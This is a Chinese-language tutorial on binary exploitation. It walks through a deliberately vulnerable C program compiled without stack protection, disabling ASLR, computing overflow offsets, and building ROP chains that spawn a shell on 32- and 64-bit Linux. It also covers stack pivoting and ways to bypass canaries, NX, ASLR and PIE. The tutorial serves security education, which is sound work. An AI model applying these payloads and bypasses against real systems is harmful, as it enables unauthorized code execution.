二进制漏洞利用:缓冲区溢出到 ROP 链
认识二进制漏洞利用
二进制漏洞利用(Binary Exploitation)是指通过分析并利用程序中的安全缺陷,在执行二进制代码时改变其原有行为,最终实现任意代码执行或信息泄露的技术。对于初学者而言,从缓冲区溢出到返回导向编程(ROP)是最典型的进阶路径。本文将带你从栈溢出基础出发,逐步构建可用的 ROP 链,掌握控制流劫持的核心思路。
你需要准备什么
- 一台 Linux 虚拟机(推荐 Ubuntu 20.04/22.04)
- 安装
gcc、gdb、pwntools、checksec等工具 - 了解 C 语言基础以及函数的调用约定
- 关闭地址空间布局随机化(ASLR)以简化初期实验:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
安全提醒:本文所述技术仅供学习与授权测试使用,非法利用将承担法律责任。
栈溢出原理与 EIP/RIP 劫持
栈帧结构回顾
当一个函数被调用时,CPU 会在栈上为其分配一个栈帧,用于存储返回地址、局部变量和寄存器备份。以 x86 架构为例,典型布局如下:
高地址 +-----------------+
| 函数参数 (n..1) |
+-----------------+
| 返回地址 | <- 函数执行结束后要跳转的地址
+-----------------+
| 旧的 EBP 值 | <- 当前函数的 EBP 指向这里
+-----------------+
| 局部变量 |
低地址 +-----------------+
当局部变量使用的缓冲区发生溢出时,多余的数据会向高地址方向覆盖保存的 EBP 值,接着覆盖返回地址。只要我们能精确控制返回地址,就能劫持程序的执行流。
一个脆弱的程序
// vuln.c
#include <stdio.h>
#include <string.h>
void vulnerable(char *input) {
char buffer[64];
strcpy(buffer, input); // 无边界检查
}
int main(int argc, char **argv) {
if (argc < 2) return 1;
vulnerable(argv[1]);
printf("程序正常结束\n");
return 0;
}
编译(关闭栈保护、允许栈执行、关闭 PIE):
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vuln vuln.c
-m32:生成 32 位程序(便于讲解传统 ROP)-z execstack:允许在栈上执行代码(本实验暂不需要,但用于对比)-fno-stack-protector:禁用栈金丝雀(canary)-no-pie:禁用位置无关可执行文件,使地址固定
计算偏移量并控制 EIP
首先需要知道缓冲区距离返回地址的偏移。可以使用调试器或 pwntools 的 cyclic 工具生成模式字符串:
python3 -c "from pwn import *; print(cyclic(200, n=4))" > pattern.txt
在 GDB 中运行程序并输入该模式:
gdb ./vuln
(gdb) run $(cat pattern.txt)
程序崩溃后查看 EIP 的值,然后计算偏移:
python3 -c "from pwn import *; print(cyclic_find(0x6161616c, n=4))"
# 假设得到 76
结果通常是 64 (buffer) + 4 (saved EBP) + 4 (返回地址) = 72 字节,但实际偏移可能因编译器对齐而略有差异。确认后,我们就可以构造 payload:
payload = b'A' * offset + p32(0xdeadbeef)
如果程序崩溃时 EIP 变为 0xdeadbeef,说明劫持成功。
当 NX 开启:返回导向编程(ROP)
现代操作系统通常启用 NX(No-Execute)位,使栈不可执行。就算你将 shellcode 放在栈上,也无法直接跳转执行。此时需要借助 ROP:利用程序中已有的、以 ret 结尾的指令片段(gadget),将这些片段串联起来完成恶意功能。
ROP 的核心思想
每个 gadget 执行后都会执行 ret,而 ret 会从栈顶弹出下一个地址并跳转。因此,ROP 链就是由这些 gadget 地址和它们所需的参数(按调用约定放置在栈上)组成的序列。通过不断地 “跳转-执行-ret-跳转”,我们可以在不执行任何新代码的情况下调用系统函数(如 execve("/bin/sh", NULL, NULL))。
寻找 gadget
使用 ROPgadget 或 pwntools 从二进制或 libc 中提取 gadget:
ROPgadget --binary vuln
# 或者
ROPgadget --binary /lib/i386-linux-gnu/libc.so.6
重要的 gadget 类型:
pop eax; ret、pop ebx; ret等,用于设置寄存器mov [reg], reg; ret用于写内存int 0x80; ret或syscall; ret触发系统调用xchg eax, esp; ret可实现栈迁移
构造 execve("/bin/sh") 的 ROP 链(x86)
在 32 位 Linux 下,execve 系统调用号为 11(0x0b),参数分别是:
ebx指向 "/bin/sh" 字符串的地址ecx指向 argv 数组(可为 NULL)edx指向 envp 数组(可为 NULL)
所以我们需要的 gadget 至少包括:
- 控制
eax、ebx、ecx、edx的 pop 指令 - 执行
int 0x80的 gadget - 一段可写内存存放 "/bin/sh" 字符串,或者直接利用 libc 中已有的字符串
场景:假设程序中没有现成的 "/bin/sh",但我们可以调用 read() 将字符串读入已知地址的 .bss 段。
步骤分解:
- 调用
read(0, bss_addr, 8)将 "/bin/sh\x00" 写入 bss 段 - 将
ebx设为 bss_addr,ecx、edx设为 0,eax设为 0xb - 执行
int 0x80
实际 payload 布局(以下地址为示例,具体需要根据实际二进制调整):
+--------------------+
| 填充偏移量 |
+--------------------+
| read@plt | <- 调用 read 函数
+--------------------+
| pop3_ret 地址 | <- read 返回后执行,用于清理栈上三个参数
+--------------------+
| 0 | fd = stdin
+--------------------+
| bss_addr | buf 地址
+--------------------+
| 8 | count
+--------------------+
| pop_eax_ret | 设置 eax = 0xb
+--------------------+
| 0xb |
+--------------------+
| pop_ebx_ret | 设置 ebx = bss_addr
+--------------------+
| bss_addr |
+--------------------+
| pop_ecx_ret | 设置 ecx = 0 (或者 pop_ecx_pop_xxx 组合)
+--------------------+
| 0 |
+--------------------+
| pop_edx_ret | 设置 edx = 0
+--------------------+
| 0 |
+--------------------+
| int_0x80 地址 | 执行系统调用
+--------------------+
使用 pwntools 自动化构造
Pwntools 提供了强大的 ROP 链构建功能,特别适合初学者快速生成并理解链的结构:
from pwn import *
context.binary = './vuln'
elf = ELF('./vuln')
libc = ELF('/lib/i386-linux-gnu/libc.so.6') # 如果知道 libc 版本
rop = ROP(elf)
# 假设我们泄漏了 libc 基址,并且有 system 和 "/bin/sh"
libc.address = leaked_base
rop.call(libc.symbols['system'], [next(libc.search(b'/bin/sh'))])
print(rop.dump())
但为了深入理解,手动构造一次是十分必要的。
栈迁移:当溢出空间不足时
如果缓冲区太小,无法放下完整 ROP 链,可以使用栈迁移技术。原理是利用这样一个 gadget:
leave ; ret
leave 等价于 mov esp, ebp; pop ebp,它会将栈指针切换到我们控制的 ebp 指向的区域(比如 .bss 或堆)。随后 ret 会从新的栈顶上取地址执行。通过两次溢出配合,或者先向新位置写入链,再将 ebp 修改为新位置地址,即可完成迁移。
典型步骤:
- 利用第一次溢出将 ROP 链写入可控内存区域(如通过 read 函数读入 .bss)
- 溢出修改保存的 ebp 为该可控区域的地址-4(因为
leave会先mov esp, ebp然后pop ebp,pop会使得 esp+4,所以需偏移调整) - 返回地址指向
leave; ret
这样在执行完当前函数的 leave; ret 后,EIP 就跳转到了我们预先写好的链上。栈迁移在 64 位程序中尤为常见,因为 64 位前 6 个参数通过寄存器传递,栈迁移可同时控制寄存器与栈布局。
64 位下的 ROP 差异
x86-64 有更多的寄存器,系统调用使用 syscall 指令,调用约定也不同。execve 的系统调用号为 59(0x3b),参数通过 rdi、rsi、rdx 传递。因此我们需要寻找类似 pop rdi; ret、pop rsi; ret、pop rdx; ret 的 gadget。
构造 execve("/bin/sh", NULL, NULL) 的典型 64 位 ROP 链如下:
+------------------+
| 填充偏移量 |
+------------------+
| pop_rdi_ret |
+------------------+
| 指向"/bin/sh"的地址 |
+------------------+
| pop_rsi_ret |
+------------------+
| 0 |
+------------------+
| pop_rdx_ret |
+------------------+
| 0 |
+------------------+
| pop_rax_ret |
+------------------+
| 0x3b |
+------------------+
| syscall_ret |
+------------------+
如果找不到 pop rdx 的 gadget,可以使用其他变通方式,比如通过 mov 指令归零 rdx,或者利用某些库函数(如 mprotect 后执行 shellcode)绕过。
缓解措施与绕过思路一览
理解防御机制才能更好地学习漏洞利用,以下为常见保护及基本绕过手段:
- Stack Canaries:栈金丝雀会在返回前检查值是否被篡改。绕过方法:泄漏 canary(如通过格式化字符串),或使用非顺序覆盖(如仅覆盖函数指针而非返回地址)。
- NX/DEP:不可执行栈/堆。绕过:ROP、JIT 喷射(浏览器环境)、返回到 libc(ret2libc)。
- ASLR:地址随机化。绕过:信息泄漏获取基址(如泄漏 libc 函数地址),或利用相对偏移固定的对象(如可执行程序未开启 PIE 时)。
- PIE:可执行文件随机化。可结合其他漏洞泄漏程序基址,或使用部分覆盖(partial overwrite)。
- RELRO:GOT 表写保护。全 RELRO 下无法覆写 GOT,但可通过泄漏并调用 libc 中的函数劫持流。
循序渐进:先关闭所有防护进行实验,成功后再逐个开启,并尝试寻找对应的绕过方法。
调试利器:GDB 插件与核心命令
掌握调试技巧是二进制漏洞利用的核心能力之一。推荐使用 pwndbg 或 gef 增强 GDB 功能。常用命令:
# 查看当前栈内容
stack 30
# 显示寄存器
context registers
# 在 ret 指令处下断点观察栈顶地址
break *0x080484xx
# 搜索内存中的字符串或 gadget
search "/bin/sh"
# 查看内存映射
vmmap
# 计算地址到某符号的偏移
print system - libc_base
结合 pattern_offset 快速定位崩溃时的偏移量,以及使用 telescope 查看栈上指针链,都是很高效的技巧。
综合实验:从溢出到 getshell
目标
在不开启 ASLR、无 canary、NX 开启、无 PIE 的 32 位程序上,通过栈溢出构造 ROP 链执行 execve("/bin/sh")。
步骤
- 关闭 ASLR:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space - 编译脆弱程序(如上文
vuln.c,但使用-z relro -z now?暂时不用,仅用-fno-stack-protector -no-pie,不必加-z execstack,因为我们要用 ROP) - 使用
objdump -d或ROPgadget确认 gadget 地址,找到pop eax; ret、pop ebx; ret等 - 确认可写地址(如
.bss):readelf -S vuln | grep .bss - 编写 exploit 脚本,借助 pwntools 发送 payload
- 获取 shell 后验证权限
简化版:如果程序内本身有 system@plt 且某处存在 "/bin/sh" 字符串,可以直接使用 ret2libc 调用 system("/bin/sh"),此时只需 payload = flat(offset, system_plt, 0, bin_sh_addr)(注意 0 是返回地址占位)。
持续精进的方向
- 学习格式化字符串漏洞,用于泄漏内存信息
- 研究堆利用(Heap Exploitation),如 fastbin attack、tcache poisoning
- 掌握 ret2dlresolve 技巧,绕过未知 libc 版本
- 尝试在开启全部保护(Full Relro、PIE、NX、ASLR)的真实世界 CTF 题目中完成利用
- 阅读经典资料:《Hacking: The Art of Exploitation》、CTF 赛题 writeup、pwntools 官方文档
二进制漏洞利用是一门需要在实践中不断试错与积累的手艺,保持好奇心并动手调试,远比阅读理论有效得多。在不断突破防御机制的同时,也请恪守白帽子准则,共同维护网络安全。